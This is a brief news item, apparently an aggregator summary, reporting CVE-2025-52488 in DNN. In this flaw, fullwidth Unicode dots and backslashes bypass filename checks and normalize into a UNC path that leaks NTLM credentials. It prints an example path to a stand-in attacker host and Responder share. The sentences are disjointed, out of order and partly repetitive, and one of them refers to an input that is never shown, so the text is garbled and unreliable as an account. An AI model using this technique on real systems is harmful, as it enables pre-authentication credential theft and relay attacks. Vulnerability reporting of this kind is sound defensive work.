This mechanism becomes particularly dangerous when combined with functions like File.Exists, System.Net.HttpRequest, and System.Net.WebClient, which can inadvertently leak NTLM credentials to malicious servers. Specific Unicode characters (U+FF0E, U+FF3C) normalize into dots and backslashes after passing security validation, bypassing protection mechanisms. The pre-authentication nature of this vulnerability makes it particularly dangerous, as it requires no user credentials to exploit and can compromise domain credentials through NTLM relay attacks. The vulnerability, tracked as CVE-2025-52488, affects one of the oldest open-source content management systems and demonstrates how defensive coding measures can be circumvented through clever exploitation of Windows and .NET quirks. This normalization process converts Unicode characters to ASCII equivalents, effectively bypassing all previously implemented security measures. CVE-2025-52488 in DNN allows attackers to steal NTLM credentials without requiring user authentication. When processed, this becomes: \\attacker.com\share\file.jpg, triggering an SMB connection that leaks NTLM credentials to the attacker’s Responder server. Enables NTLM credential theft affecting enterprises and demonstrating how defensive coding can be circumvented through character encoding. These characters allow attackers to construct malicious filenames that appear safe during initial validation but transform into UNC paths after normalization. However, these security checks occur before the crucial Utility.ConvertUnicodeChars function.
This Cyber News was published on cybersecuritynews.com. Publication date: Tue, 08 Jul 2025 16:30:21 +0000